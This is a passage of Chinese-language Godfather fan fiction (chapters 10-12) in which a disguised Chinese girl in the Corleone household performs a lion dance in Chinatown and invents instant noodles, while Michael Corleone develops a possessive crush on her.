他的策略是对的。阿波罗再聪明也只是个九岁的孩子,轻而易举被摆出的例子所说服,他又对他笑了,哦——他还走过来给他倒牛奶了。
迈克尔已经能想象接下来的日子了。每天早晨他顺道送他上学,中午他翻过中学和小学间矮矮的围栏找他吃饭,聊聊班里的男女同学,如果有男生欺负艾波,他不介意帮他出气。放学到家,他们一起在起居室里看书写作业,晚饭之后,他可以带艾波去练棒球……
突如其来的拳头砸来,像高速飞行的棒球正中面部,痛得他脑袋发懵,他重重摔倒在地,血腥味像血雾一样在鼻腔口腔里炸开。
等到他回过神来时,已经坐在起居室的沙发上,脸上捂着冰袋。冰块冻得他指尖发僵,凝结出的水珠一路往下淌。
弗雷多不知所踪,母亲抱着康妮去楼下闲聊。父亲和桑尼换好了工作的西服,正准备出门。他吩咐桑尼下楼暖车,自己坐到了对面的沙发。
“如果您和桑尼、弗雷多一样,是来劝我和阿波罗道歉、和好的,那不用了 ,我这辈子都不会原谅他。”迈克尔忿忿地说。
“迈克尔,”父亲望着他,看穿一切的眼神,“面对爱的人,不能用手段控制,要用这里。”
他指指胸口。
10. Chapter10
走出公寓门,才发现昨晚下雪了,道路两侧堆起厚厚的白雪,艾波沿着扫出来的空地一路走到车站,心情仍然不算好。
连家境优越、没什么利益冲突的迈克尔.科里昂都是这样的想法,那些成年人呢?是不是更加根深蒂固地认为亚洲人都是愚蠢的垃圾,是生来被支配、压迫的对象?
雪后冰冷剔透的空气里,巴士很快来了。乘客排队上车投币,前头几位青年聊着天,浓厚的意大利口音,其中一位带着邮差帽,大大的驼峰鼻,让人立刻联想到中东血统。
艾波不禁想,与犹太人相比她们差在哪里?历史?文化?智慧?凝聚力?相比野心勃勃的复国运动,至少她们还有广袤的母国,虽然风雨飘摇……
关键还得是钱,在这个资本的世界,金钱就是话语权、就是掌控力。可去哪里搞钱呢?
巴士摇摇晃晃开了一路,她思索了一路。
窗外站台越来越近,深蓝色站牌下十四岁的少年显露出来,裹着藏青的棉裤和夹克衫,像是一棵细瘦的竹。
艾波蹦下车:“乔义,你怎么来接我了?店里不忙吗?”
程记餐馆包揽舞狮队的三餐,作为餐馆少东兼唯一常驻员工,程乔义日日骑车送餐。现在该是送完早餐、在店里忙活到时候。
少年笑着解释:“反正也没什么生意,我爸让我留下来帮忙打下手。地上滑,吕师父怕你摔了,让我来接你。”
他笑起来时,嘴边竟有两道浅浅的褶,不像梨涡那么甜腻,反倒那过份端正、有距离感的五官,多了几分腼腆的亲和力。
“我又不是骨质疏松的老头子,”艾波咕哝着,还是箍住他支出的臂弯,没戴手套的两只手都藏在他手臂内侧取暖。对此,少年夹紧胳膊,好让她更暖和。
两人手挽着手挽前走。临近年关的唐人街并不热闹,零星几位住户在乡会的组织下扫雪,沾了灰尘污渍的雪像是杂面窝头,瓷瓷实实地垒在各个电线杆下方。
艾波问:“今天中午什么好吃的呀?
时局不稳,钱流回了国内,没有大鱼大肉的中餐依旧美味——雪里蕻炒肉沫、油焖茄子、爆炒腰花、番茄炒蛋……配上粒粒分明的大米饭,一想起来就口水直流。艾波才不再承认这是她拼命挤进舞狮队的最大动力。
“今早我爸在炸葱油,宋阿叔又送来三只鸡…”
“豉油鸡!”艾波抢答,“是不是!是不是!”
程乔义点头:“爸爸说年关了给你们补补。”
“太好了!”艾波摸到一点思路,忽然问,“你说有没有一种食物,老老少少,全世界都喜欢?”
“有点难,”乔义摇头,“时代广场随便找五个白人来,问他们最爱的面包品种,都至少得到三四个答案。”
艾波重重叹了一口气。
“嘀——嘀——嘀——”
身后忽然传来车笛声,黑色的凯迪拉克副驾驶座里,弗雷多探出头:“艾波!你忘拿手套了!”
“是我的二哥。”她和乔义介绍,两人在路边等小轿车缓缓靠近。
见她们停下脚步,凯迪拉克也刹住了车,黑卷发的少年跑下车,略微圆润的脸庞,笑容亲热之中带着点不好意思:“天冷,别冻到了。”
艾波接过黑底雪花纹的毛线手套,“谢谢。”
“迈克…他、他只是没有过弟弟,不知道怎么做一个好哥哥。我和桑尼也经常打架,之后再这样,你只管揍他就好。”他磕磕绊绊地说完,生硬地和她道别,绕过雪堆走回凯迪拉克。
艾波就纳闷了,迈克尔.科里昂这么糟糕一个人,是怎么有这么好的家人。她戴好手套,暗叹一口气,追上弗雷多:“等等!”
“我没有往心里去。我们是一家人。”她抓住二哥的大衣衣摆,好像被传染一样,也支吾起来,“如果、我是说如果你今天没有事的话,能不能来看我排练?”
弗雷多一愣,向她身后不远处的程乔义看了眼,用力一点头,笑容踏实许多:“没问题!”
开车的纽扣人被差回了家,互相介绍后,三个人慢悠悠地走在路上。
“所以舞狮是你们扮作狮子吗?为什么?”弗雷多问。
“唔…大概是祈求祝福,驱散恶灵。”艾波本想说邪祟,但实在不好翻译,只好用中二十足的恶灵一词了。
弗雷多又问:“为什么是狮子?不是老虎、不是大象、不是仙鹤…熊猫也不错啊。”
啊这…其实艾波也蛮想舞熊猫的。她求救般看向程乔义,后者显然有更多的应对经验,流畅地解释:“很久很久以前,久到凯撒的年代,当时中国皇帝得到了几头珍贵的狮子,人们把它当作幸运之兽,认为它们威武的形象能驱逐敌人,赶走一切坏运气。”
弗雷多惊呼:“凯撒的年代!”
说话间,三人已经来到武昌武术馆,红色金边的繁体字亮亮堂堂地横在店门上方,灰黑色的旧遮阳篷上压着一层雪,底下一老头正拿着一根竹竿戳篷布,老远就听到砰砰声,一下两下的,雪就这样松散地落在石砖地面,像是往蛋糕上洒糖霜。
“葛阿公好——”
这位老头是舞狮队吕师父的外公,道光年间就来了美国,年纪大了听力不好,要对着他耳朵大声喊才能听清声音。乔义和他用粤语大声寒暄,一个说外面冷叫他去里面、他会帮忙打扫,另一个说午饭想吃面。
面?面!
艾波心念一动。距离泡面的诞生还有二十多年,她是不是、是不是可以研究着抄一下呢?
当然,泡面的事情先按下,当务之急是好好准备后天的表演。
*
爱的人?谁?阿波罗.维太里吗?
虽然父亲确实很伟大智慧,但迈克尔认为在这件事上,他的判断有失偏颇。
他爱母亲、爱桑尼、爱弗雷多、爱康妮,可艾波?一个才满打满算才认识八个月的小鬼头,他凭什么拥有他的爱?他才不是他的弟弟。
可其他人似乎并不这么觉得。所有人都站在了艾波那一边。
迈克尔在床上躺了一下午,透过玻璃窗遥望湛蓝的天空,想起他揍他时的模样。妈妈咪呀,他下手真狠、出拳真快。要是去做拳击手,保准全美闻名。
最印象深刻的是身体缓缓向后倒下,一切都像是慢动作,迈克尔清晰地看到他的表情,那双介于紫色、棕色之间的眼睛,闪着一团熊熊怒火,亮得灼眼。以至于他摔倒在地面,面上的疼痛都变得无足轻重。
母亲花大力气买来兔肉和鱿鱼,打算晚上做西西里传统意面安慰艾波,叫迈克尔帮忙处理鱿鱼,期间耐心地教导他。
“迈克尔,说实话,我对你有些失望。”她语气是少见的严厉,“我们西西里人也是外来者。难道你想要有一天也有人指着你鼻子骂黑皮拿来的滚哪里去吗?”
迈克尔沉默着摇头。
“艾波是个好孩子。我不指望你像桑尼、弗雷多一样待她,只希望你把他当康妮一样相处。他在家里时也是爸爸妈妈哥哥姐姐宠爱着的,就像我们宠爱你一样。”
迈克尔把鱿鱼的眼睛剪下来,“你是说,我要把他当成弟弟爱护?”
“你愿意吗?”
迈克尔想了想,意识到这件事必须自己扛过去,不情不愿地回答:“我尽量。”
“那——”
“我会想办法和他道歉的。”迈克尔低声承诺。
可惜,上帝似乎根本没有给他这个机会。
整个晚餐萦绕着一种奇怪的氛围。弗雷多夸夸其谈地讲着今天的见闻:五颜六色的狮子,飞起的彩球,踩着拳头大小的木桩跳到三四米高的位置……
这有什么好惊奇的,报纸上那些中国马戏团不都这样么。迈克尔暗自撇嘴。
那些夸张的字眼让桑尼咋舌,讨论起练出这种技术和体格的方法,父亲偶尔插一两句自己的见解,认为最难的那种只有卢卡可以做到。
而他想要道歉的对象呢?艾波也在谈笑风生,可那张八个月来一点都没胖的小脸,透着力竭的疲惫,连笑着回答问题都有些勉强,仿佛下一秒就要栽倒在面碗里。
为什么不去睡觉呢?没来由的,迈克尔有
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些生气。没有人强迫他吃晚饭呀,他连他都敢揍,怎么不再拿些勇气出来,对爸爸妈妈说不呢?
“后天,协胜堂的葛方金邀请您去观看新年游行。”晚饭尾声,艾波站起来,像个陌生的成年人,对主座的父亲这样说。
原来一整晚的坚持,是为了说这一句话。迈克尔忽然看不明白艾波了。他到底是个什么样的人?这个家对他意味着什么?他迈克尔,对他来说意味着什么?
父亲当然点头答应。他对艾波总有着超乎寻常的欣赏与纵容。
“艾波。”
就在众人即将离席时,他终于鼓足勇气开口:“我向你道歉,也向你的朋友道歉。希望你能原谅我。”
他以为即便艾波不会夸张地露出受宠若惊的神情再甜甜地叫他一声哥哥,也至少会冲他笑一笑,好显示出大度。
可事实是,她竟然只是微微一点头,小脸仍然保留着公事公办的疏离:“我原谅你,迈克尔。我也十分抱歉,我对你使用了不恰当的武力。”
就像个奇怪的梦境,迈克尔感觉虚飘飘的,浑身不舒服。他听到自己假惺惺地回答:“谢谢你的原谅。”
然后对话结束了吗?是的。
他扛过了这件事,他应该高兴的。可他却没有感到如释重负,只觉得空气愈加窒息,反倒比之前更加闷涩。
与现在相比,迈克尔倒宁愿他挥拳过来,狠狠揍自己一顿,至少那时候他眼里是有他的。
这是哥哥对弟弟的要求吗?
时间过得很快,迈克尔几乎没有反应过来,一下子就到了周一,中国新年游行的日子。父亲事先帮他们请了假,算上詹科、彼得和萨利叔叔三家,一行人八辆车,浩浩荡荡地前往唐人街。
到达了目的地,马路两边站满了人,好像整个纽约的亚洲面孔都涌在这条街。父亲带着叔叔们去应酬,留下母亲和其余几位太太在临街的茶馆。
迈克尔坐在位置上翻了一会儿菜单,外头响起噼啪巨响,紧接着是锣鼓声和围观人群的喧哗。隔着橱窗玻璃,他听到弗雷多在和桑尼喊,“是鞭炮!炮仗!”
火花与烟雾出现在楼宇林立的马路上方,锣声越来越近,像是一阵又一阵热烈的浪潮,由远即近地推来。
迈克尔坐不住了,走到室外首先闻到的是火药燃烧的烟味,随后是足以淹没一切声响的锣鼓声。
“迈基!迈基!”弗雷多穿过拥挤的人群把他拉到茶馆二楼的阳台,“这里看得更清楚。”
“有什么好看的”
话音未落,他看见不远处的十字路口,陈列有数十根纵横交错木棍搭起来的木架子上立着两只假狮子,正随着鼓点左右腾跃向上攀登。然而这并非最引人瞩目的。
一只小狮子正惟妙惟肖地在空地上向大家点头致意。
“那就是艾波!”弗雷多伸手指着小狮子。
桑尼纠正:“是我们的艾波!”
他的动作实在太漂亮了,摆头眨眼、翻滚站立,一举一动利落而有神。迈克尔想,哪怕他不懂所谓的春节习俗,也完全被他吸引。
大大的眼睛,灵活的四肢,憨态可掬的动作,无意不映进他的脑海。
鼓声越来越急促,争夺也愈加激烈,最终,一声重音落下,台上的狮子分出了胜负,彩头摘下,表演结束。桑尼和汤姆讨论着输赢,弗雷多吃起了糕点。迈克尔仍沉默着,他眼里只有那头黑红的小狮子,内心正经历着剧烈的变化。
他想要继续讨厌艾波,想要将他和眼前的表演者区分开来,想要像桑尼他们一样由衷地为他感到骄傲。
可迈克尔的潜意识已经察觉到不对,就像尼斯湖的水怪,怪物潜藏在平静表象之下。他和哥哥们对艾波的想法不一样。
狮子摘下了头套。
艾波微微喘着粗气,发丝汗湿,双颊通红。这一瞬间,在清晨灿烂的光里、在热闹喧嚣的人群之中、缤纷多彩的节日氛围内,在迈克尔的眼底,仿佛散发着光彩。
他想,父亲没有说错,他确实爱他。
但是不是对弟弟的爱。
11.Chapter11
可能排练太多遍的缘故,真正到了登台的时候,过程远比平时顺利。
狮头里面很黑,只有耳朵、眼睛和嘴巴漏进一点光,艾波左摇右盼地举狮头,跟着吹吹打打的队伍来到提前封道的十字路口。竹子搭成的脚手架早已立在中心,炮仗此起彼伏,响彻晴空。
等这巨响停歇,一段连续的轻擂,舞狮正式开始。
艾波深吸一口气,浑身恰到好处的紧绷,感觉自己几乎没怎么用力,动作自动随着锣鼓声带了出来。这是一种很玄妙的体验,鼓点和啰音水流般托举着她,而她呢,仿佛一艘驾驭湍急水流的小船。好像摸到了一点门道。
加上对连绵不绝叫好声的致谢,游行持续近三个小时,将近十点人群才慢慢散去。
陪在场边的程乔义脚边一只白雾腾腾的桶,他捞出浸在里面的手帕,依次递给下场的队员。
艾波最后一个拿到,热乎乎的手帕直接蒙上她的脸。乔义边给她擦汗,边说:“我爸备了两副席面,等下跟着舞狮队一起去我家吃饭呀?”
“我自己来,”艾波偏头躲开,单手抱着狮头,另一只手接过手帕,没有立刻答应约饭。她看向对面协胜堂同乡会大门走出来的维多.科里昂。
高大的西西里教父一袭黑色长款西装,双手插兜,身形略佝偻着,好听清他右手边、矮一个头的安良堂堂主苏清福说话,东道主葛方金差不多身高,站在科里昂的另一侧,时不时地插一两句话。
三个足矣撼动曼哈顿岛的大人物后面,彼得.克莱门扎捏着一把坚果之类的食物,嘴巴不停地咀嚼;詹科.阿班多和几位东方面孔比手划脚。艾波认出其中的吴秉和姚洪川,两者占据华人洗衣店的半壁江山。萨尔瓦多.忒西奥没有出现,作为隐藏力量,他在对面某幢楼的三层欣赏这出游行。这是科里昂家族对协胜堂的最大诚意。
纽约势力驳杂,击败并吞下马兰扎诺让科里昂在黑手党内部有了一席之地,可外部,爱尔兰人未曾领教过他们的厉害。这些日子爱尔兰黑.帮对唐人街的勒索,让维多.科里昂预见到不远的将来,吸纳中国人资金而壮大的爱尔兰爱人将对他的帝国造成威胁。这是他不愿意看到的,于是和唐人街的合作,变得必要且重要了。
程乔义顺着她的视线看去,意识到了什么,低声说:“苏堂主是和他们的舞狮队一起来的,主动去协胜堂递名帖。我听说他们家当过治安官的苏老爷子时日无多,苏家后生要么回国、要么进大学做学问了,苏福清估计早就想找个新靠山。”
而在政商届拥有众多人脉的维多.科里昂显然是不错的合作伙伴。艾波咋舌,这世道能混出头的都是人精,这边老对家才透露点合作的意思,那头就来投诚了。打不过就加入,没毛病。
这样看来,科里昂家和唐人街的合作多半不会出问题。艾波收回目光,问起席面的菜色,乔义一一作答,听得她又忍不住咽了几下口水。
“艾波!你太棒了!”聊到一半,桑蒂诺风风火火地跑来,后头的汤姆也微笑着夸赞:“无与伦比。”
艾波不好意思地挠挠头:“都是师兄们的功劳,我只是点缀。”
桑蒂诺哈哈大笑,用力地拍她的肩:“快带我见见他们,我的天,这要是像赛马一样开赌盘,肯定更加刺激。”
这话险些让艾波没站稳,不愧是桑蒂诺,首先想到的竟然是非法经济活动。
她领着桑蒂诺和汤姆走了一圈,舞狮队的成员忙着收拾场地、清扫爆竹皮,态度不甚热络,只笑着点点头,说了几句新年快乐。桑蒂诺有些失望,但并没有说什么,只从钱包里掏出几张钞票,塞进程乔义的手里:“请大家吃饭。”
这倒是有点大哥的样子。艾波偷偷冲汤姆做了个有钱佬的意大利手势,汤姆笑得直咳嗽。
桑蒂诺放好钱包,不明所以:“怎么了?”
“没什么,”汤姆憋着笑岔开话题,“我该回学校了,下午有一场小考。”
“一起回去吧,”桑蒂诺说,“爸爸他们应该谈完了,我们再等一等,相信我,最多几分钟。”
这句话说完,像是印证他的判断,那头的大人们如同黑压压的云来到路边的小汽车旁,进行最后的寒暄。
程乔义见状,和他们简单解释几句,便跑回五十米开外的程记饭馆,通知父亲准备开席。桑蒂诺也领着汤姆和艾波向父亲走去。
等他们走近,维多.科里昂笑着介绍:“这是桑蒂诺.科里昂,我的大儿子,平时帮我开开车、跑跑腿;汤姆.黑根,我的义子,马上就要考大学了,他会是名优秀的律师;最后这个小家伙你们已经认识了。”
他转头吩咐艾波:“等下你留在这里,和舞狮队一起午餐,好好谢谢他们。克莱门扎会派人陪你。”
她点头表示明白。虽然合作,但不能太高调,惹得其他意大利家族忌惮。像她这样的身份作为桥梁,双方都安心。
大人物握手道别,安良堂堂主坐入车内离去,脸上堆着笑。
不知车窗摇下后,他是否还笑得如此满,艾波目送着汽车驶离,心里这样想着,耳边忽然传来一句请求——
“我能和艾波一起留下来吃饭吗?”
是迈克尔.科里昂。不知什么时候来到她的不远处,黑发黑眼,情绪莫名激动,好像身体里充满了剧烈运动后产生的肾上腺素。
科里昂先生沉默一瞬,把皮球踢给她,“听艾波的,这些是她的朋友。”
于是,那双黑亮的眼睛仿佛某种小型食虫鸟类倏地看来,“阿波罗,昨晚的道歉还不够,我想要了解中国人,想要了解他们的文化,给我一次机会…可以吗?”
语气又快又急,连珠炮似的说了大半,又忽然急转直下,像是一曲紧凑舞曲最后忽然来了个黏腻的长拖音,奇奇怪怪的。
艾波该拒绝的,他是科里昂家的亲生子,相当于在天平上重重压上一个新砝码,保不齐那些爱尔兰人会猜到他们的意图。
“可以吗?”他又重复了一遍,眼神不易察觉的可怜。
唉,既然是恶役毒舌千金人设就拿稳嘛,干嘛中途换成傲娇小可怜呢?这时候,艾波真希望自己是铁石心肠。
“好吧,”她头一次因为男生的眼神心软,无奈答应,但不忘打预防针,“我们会说中文,可能对你来说会有点无聊。”
*
无聊?怎么会无聊呢?
这实在是一种很奇妙的体验。就像不能控制自己的躯体一样,迈克尔感觉自己的眼神牢牢地锁在艾波身上:她摘下头套,她擦汗,她在看父亲,她笑了,她抱着头套挠头……她的一举一动,哪怕是古往今来最有趣的图书、雕像,都无法比上她的万分之一。
桑尼一直是好哥哥,大大咧咧地拍人肩膀,迈克
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尔几乎每天都会被他拍几次,但当艾波身体在他的拍击下晃了晃时,迈克尔只想走过去把他推开,教他懂点分寸。
哦,更该被教育的是那个中国男孩,竟然能让艾波笑得这么开心。他要走过去,拎着他的领口丢出这条街,丢出艾波的视野之外。
弗雷多打断了他的想法,“迈克,你不吃别浪费啊!”
迈克尔低头看向自己手心,十分钟之前弗雷多塞给他的糕点全被攥成了渣渣,他轻轻呼气,把它们丢进垃圾桶,“我们下去找桑尼他们吧。”
他想和艾波待一块,站在他的身后、坐在他的身侧,听听他说话的声音。哪怕这意味着痛苦地看他和别人聊天。
于是迈克尔向父亲提出了请求。他相信父亲会同意,毕竟是他教他用心去爱人。
可没想到父亲将选择权交给了艾波,仿佛针尖抵上吹满气的气球,迈克尔一下子紧张起来。
“可以吗?”
他重复了一遍请求,鬼知道这句话用了他多少的力气,他感觉自己的嗓门足以掀翻屋顶,可实际落进耳朵里,比呻吟响不到哪里去。真丢脸。
艾波盯着他看了一分钟,盯得他头皮发麻,以为那难堪的心思要被她瞧出来了,她忽然答应了,甚至眼角微弯,形成一个肥皂泡般虚幻美好的笑。
无论如何,这也是一个笑。迈克尔头一次发现自己这么容易满足。
程记餐馆里坐满了人,有两张硕大的圆桌。桌上摆了八盘菜,像是一朵七瓣花。迈克尔在其中一张坐下,艾波和那个叫乔义的中国男孩说了几句话,对方拿出一副刀叉和大盘子,每道菜提前盛出来了一些放在里面,除了中间那一份。
“防止你吃得不习惯,”艾波解释,“而且叉子不适合夹菜。”
迈克尔觉得自己像是那颗吹满的气球,轻飘飘的,即将飞上天花板。他强迫自己冷静下来,正常地点头:“谢谢。”
中国人聚餐似乎和意大利人没什么差别,某个人领头,站起来讲几句话,其余人喝彩,然后开始吃饭,中途可能有人走来走去敬酒。
艾波也是其中一员。不过他大多数时间都在和乔义聊天,用中文。好在他们沟通似乎有些问题,经常穿插英文单词,让他不至于完全像个傻瓜。
“$*%$&快捷%&+意大利面^w?$#油炸?%*”
迈克尔一面试图搞明白聊天内容,一面漫不经心地伸手,叉起八个盘菜中间的那一盘放入口中。没有人注意到他这一行为。
以至于下一秒,一股火焰般的烧灼直刺舌尖,“嘶——”
艾波应声看来,终于用回了迈克尔听得懂的语言。“该死,你干嘛吃中间那道菜啊!没看见大家都没吃么!”
他急匆匆地跑到厨房,端来一杯牛奶,迈克尔慢慢喝下后,呼哧呼哧地吸气,委屈道歉:“我不知道啊。”
“那道菜是做给郝师兄吃的,他从中国最会吃辣的省份来,辣椒是南美的华人捎来的,每年就留这一顿。”她耐心解释。
“郝?是哪一位?”迈克尔问。
“就是眉峰有痣的那一位……”
“他扮演的是红狮子?”迈克尔接着问。
“对……”
当晚睡前,迈克尔躺在床上复盘这一顿饭的经历,心满意足地合上了眼。
不亏。新的开始。非常值得。
12.Chapter12
艾波站在科里昂家厨房的瓦斯炉前,脚踩增高的木凳,一瞬不瞬地望着眼前的油锅。她拿筷子插进三厘米深的油里,筷尖犹犹豫豫地吐出几颗气泡。温度还不够。这是她们今晚最后一堆生饼面,格外谨慎。
初一舞狮结束那天聚餐,她和程乔义说起想制作一款便捷、快速的食物。“只需要开水一冲,就能吃上热乎柔软的面条。我认为它会畅销。”
“开水冲?”程乔义也算是在灶台边长大,下意识觉得不现实,思索着说:“我知道白吉馍和不太硬地法棍泡热汤会变软,但面条实在太难了。细挂面之类的已经是方便的面条了,只需要在水里煮五六分钟就能捞出,但也得滚开这么久,光开水可达不到。时间更短点的龙口粉丝,倒是开水一滚就软,但和入口还有些差距,不多泡一会儿,吃下去肠胃要难受。”
“你说得对,”和共频的人聊天总是令人愉快的,艾波赞同他的观点,“这种面条某些地方和白吉馍有些相似,是已经完成烹饪的熟食,所以不用担心像意大利面、米线一样泡不熟。”
乔义半懂不懂,却仍点头问:“那有什么需要我帮忙的吗?”
“蒸笼,我想借你家的蒸笼一用。”艾波也不客气,“因为制作方法大概是蒸熟面条,晾干然后油炸。”
“没问题。”程乔义一口答应。
于是,小小的实验项目就这样建立了。每天晚饭后、八九点的光景赶到程记,开始和面、蒸面、炸面,时间经常不够,往往饧几次面,时间就来到了十一点,附近巡逻换岗的纽扣人来接她回家了。可艾波能怎么办,去早了后厨还在忙,影响老板做生意。只能以乌龟爬的速度进行着。
元宵前一晚,西西里人固定的礼拜日亲朋好友大聚餐结束,艾波刚披上外出的夹克衫,就被迈克尔.科里昂叫住了。
说起他,也让艾波略感头疼。那天吃错一次菜后,他辣得舌尖都肿了,说话不利索,还想继续跟她一起来程记。可他中文听不懂,还喜欢乱摸乱看,后面几次,不是烫了手就是踢了脚。艾波都怀疑他八字和程记的风水犯冲了。他毕竟是科里昂,艾波只能丢下实验照顾他,早早回家。这也是研发进度缓慢的原因之一了。
“这么迟还要去程记吗?”迈克尔问。他的语气非常轻柔,简直像科里昂夫人抱着闹觉的康妮轻哄。
艾波下意识瞧了眼墙面的挂钟,七点三十五,“也没有很迟吧。对了,你的脚这几天还疼吗?”
“基本恢复了,”他顿了顿,神情隐隐带着忍耐,仿佛揭开敷料查看伤口般重复道,“基本好了。”
这怎么都不像康复的样子,艾波走过去安慰地拍拍他右胳膊:“好好休息,等我晚上回来再给你带几张膏药。”
“谢谢,”他笑着低声说,“艾波,你这样跑来跑去太累了,而且恕我直言,有些浪费时间,为什么不直接和妈妈说明,在厨房里试验呢?我相信她不仅不会反对,还会帮你。”
唔,艾波不是没想过在家里炸方便面,只是……“你应该看到过的,得用蒸笼把面条做熟。程记的蒸笼太大,哪怕他们愿意借给我,家用的灶台也放不下。而且乔义可以和我一起揉面、记录。”
“是吗?”迈克尔的笑容退去,干巴巴地像脱落的硬面块,“这样啊,我不知道蒸笼这么重要,把面条煮熟后沥干不行吗?”
“当然可以,但蒸可以最大限度保留食物的形态。”艾波耐心解释,帮手总是不嫌多的,“我想要由弯曲面条组成的面饼,鲜面条的形态比较好做造型,要是煮熟再织,烫手不说,还容易断。”
“好吧…”他点点头,忽然极为认真地看过来,“如果我能帮你搞定蒸笼呢?家用的尺寸。”
艾波耸耸肩,“那就帮了大忙了,我欠你一个人情。”
她并不认为迈克尔能搞定,只想给这家伙找点事做就好,别整天盯着她了。不知道是他突然良心发现,还是兄弟之情泛滥,突然关心起她来,每天帮忙灌满水壶、提醒天冷要戴帽子围巾,甚至帮她擦皮鞋!
“只是顺手。”他当时这样回答。
好不容易稍稍破冰的关系,总不能不识好歹拒绝、把家里氛围搞得一团糟吧?艾波只好笑着道谢。
没想到,又过了两周,三月初的周日,迈克尔带回了一组三层提手蒸笼,正好能架在家用炖火鸡的八号铸铁锅上。
艾波以为他会大包大揽地邀功,继续摆摆哥哥的架子,说几句冠冕堂皇的话,她打好腹稿、准备撑出笑对他吹一通彩虹屁。谁知他并不居功,抿了抿唇,踟蹰着问:“能让我帮你忙吗?和乔义一起。”
她笑了,“当然能。”
时间回到此刻,艾波从回忆中收拢心神,再次拿起筷子试油温,筷尖触到锅底,细密的气泡像是串串海葡萄般凭空生长出来,带得油面微微晃动。
“怎么样?可以了吗?”一旁的迈克尔紧张兮兮地问。
艾波点头,小心翼翼地用叉子把盘子里叠好的圆形面饼拨上锅铲,缓缓沉入锅。
米黄的面条甫一入锅便激起一串白色的油花,仿佛有一眼旺盛的泉水藏在锅底。空气中弥漫起花生油和炸面食的芬芳。
“你觉得这次会成功吗?”迈克尔眼睛透着困倦,是了已是午夜时分,他鲜少熬夜,这段时间强撑着给她打下手,眼下隐隐青黑。
“不知道,”艾波将视线移回油锅,沸腾翻滚的花生油簇拥着白色的面饼,她喃喃道,“竹升面、刀削面、挂面的水面蛋比例都试过了,要是还不行,那我要考虑放弃了。”
两人沉默地继续观察面饼状态。往常乔义在时,艾波会和他聊聊天,讲讲歇后语。可今天乔义母亲感冒在看中医,他没有空来。
终于,翻面又复炸过一遍,艾波关闭瓦斯炉,油面仍然剧烈滚动,她慢慢地捞出面饼搁到晾网。
等待的时间,她拿出笔记本,在今天的配方和处打勾,并在后方写下油炸时间。做好记录,她再次看向面饼。
浅黄的圆形面饼躺在黑色铁丝网上,外形硬挺,每一根面条都恰到好处的卷曲,粗细匀称,筷子夹起来正反瞧,并非前几次干瘪苍白,筷尖试探性敲了敲面饼,扣扣扣的脆脆响声。
好像是……成功了?
确实成功了。
艾波分了半碗面给迈克尔,压抑着喜悦和期待端起碗,碗沿轻碰他那只:“试试。”
平心而论,不加任何调料的面条并不算美味,并且因为用了花生油,还有一股淡淡的坚果味。但它的口感,柔软弹牙,兼具拉面与竹升面的口感。
“呜呼——”艾波也染上了桑蒂诺的口癖,“大成功!”
“接下来就是找出大批量制作的方法了!”艾波干劲十足地自言自语,“对了,还得打电话和乔义说,这家伙运气可真不好……”
其中一台电话就安装在厨房和起居室之间的吧台隔断上,艾波爬上高脚椅,正要拿起电话,话筒被一只手按住了。
“太迟了,明天我们一起把这个好消息告诉乔义。”迈克尔打了个哈欠。
艾波没忍住,也跟着打了个哈欠:“好——吧——”
等到两人把厨房收拾整齐、一切归位,时间已经来到了两点。所幸明天是周日,教堂礼拜的时候,混在人群里可以眯一会儿。
临关灯走进卧室之前,艾波看见少年站在卧室门前,换上蓝色竖条纹睡衣,安静地看着她。
科里昂的家教真不错。艾波想,承认错误并愿意买单
“迈克尔,谢谢。”她感到笑容不由自主地在自己脸上舒展开来,“我原谅你了。真的。”
艾波想她一定太困了,以至于她竟从迈克尔那张青涩的脸庞瞧见一闪而逝的热烈痴迷,仿佛军阀攫取政权、气宇轩昂地进入城市,阳台上的女人们纷纷抛弃对丈夫的忠贞、把她们的吻和鲜花撒向胜利者。
她低头笑了笑,为自己的错觉,也为这没什么道理的比喻。
*
迈克尔花了两天时间搞明白艾波要做的事。
他想要发明一款即食的面食。十岁的孩子,发明?简直天方夜谭。迈克尔不认为他会成功。
可狡猾的中国人、程,他无条件支持艾波。迈克尔想不明白,艾波确实帮过他们父子,可程乔义也不用这样近乎谄媚地相信吧?
迈克尔不想被比下去,更不想别人长久地得到艾波的注意力。他讨厌他们说中文,这让他看起来像个可笑可悲的聋子。
还能怎么办呢?继续先前成功过的计划呗。
第一次,他的小拇指误碰了烧热的水壶,灼热的触感搞得他倒吸凉气。疼痛非常值得,艾波抓住他的手指冲冷水,那双在小男孩里算得上小巧的手,触上他皮肤的那一刻,心脏诚实地漏跳了一拍。
又是一种新奇的感觉。周围的一切都变成了一片凝滞的海洋,他
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困在浮冰之上,唯一的希望就是艾波那双温热的小手,哪怕凉水的冲刷,也源源不断地传来热量。
真希望他永远地握着他。
第二次,迈克尔弄巧成拙了。程记后厨有个拐角,后头垒着一些坛坛罐罐,七拐八绕,经过时要小心避让。迈克尔本想佯装绊一跤,一瘸一拐地让艾波扶他回家。结果角度没掌握好,垒在上方的一个小酱菜罐掉下来,正正好砸在左脚脚背,脱去鞋袜,脚背一片乌青。
然后他就被程老板背到隔壁中医馆,配了几帖草药药膏送回家。艾波一直陪着他,可迈克尔看出他心不在焉,一颗心都在那笼屉里。
后面几天,迈克尔都只能一瘸一拐地上学,程记没理由跟着去,他只能在家看书、听广播。坐在起居室的沙发里,一想到艾波和程有说有笑,迈克尔痛苦得胃蜷缩成一团。
得想个办法,让艾波留在家里、留在他身边。他想,程乔义能做的,他一定也可以。
替艾波做一些生活琐事自然是其中之一,他要他习惯他、依赖他,最好像雏鸟依赖亲鸟一样,找不到就叽叽喳喳到处找。
另一个更有效的办法也出现了——定做笼屉。只是会做笼屉的工匠回了东方,凭他一个人,短时间很难搞定。
好在不久之后,事情出现转机。
迈克尔尚未转学到布朗克斯,仍待在曼哈顿的旧学校。脚受伤让他无法参加体育运动,只能坐在场外的长板凳上观看。这让他注意到了一个人。
卢卡斯.沃特,和他同一年级,趁着体育课的时候,悄悄给隔壁私立学校卖彩券。这是一门不错的生意,他攒下报纸摊的废彩票条,用圣诞节彩色蜡烛覆盖住上面的字儿,卖给低年级,奖品是吉普赛人的羽毛、玻璃弹珠、竹弹弓、东方算盘等大孩子不屑一顾的便宜杂货。
迈克尔找到他,开门见山:“听着,我知道你的小生意。我知道你不怕我告诉教务,因为那是隔壁学校,老师最多去和那边谈谈,不会把你怎么样。”
“但是,我有拿到废彩券的渠道,比你挨个翻报刊亭垃圾桶方便省事儿。想一下,更便宜的价格、更充足的供应,你能坚持几周?”
沃特满脸戒备:“你想怎么样?先说好,我没有钱给你。”
“我要你帮我一个忙。同样的,我也会帮你的忙。”
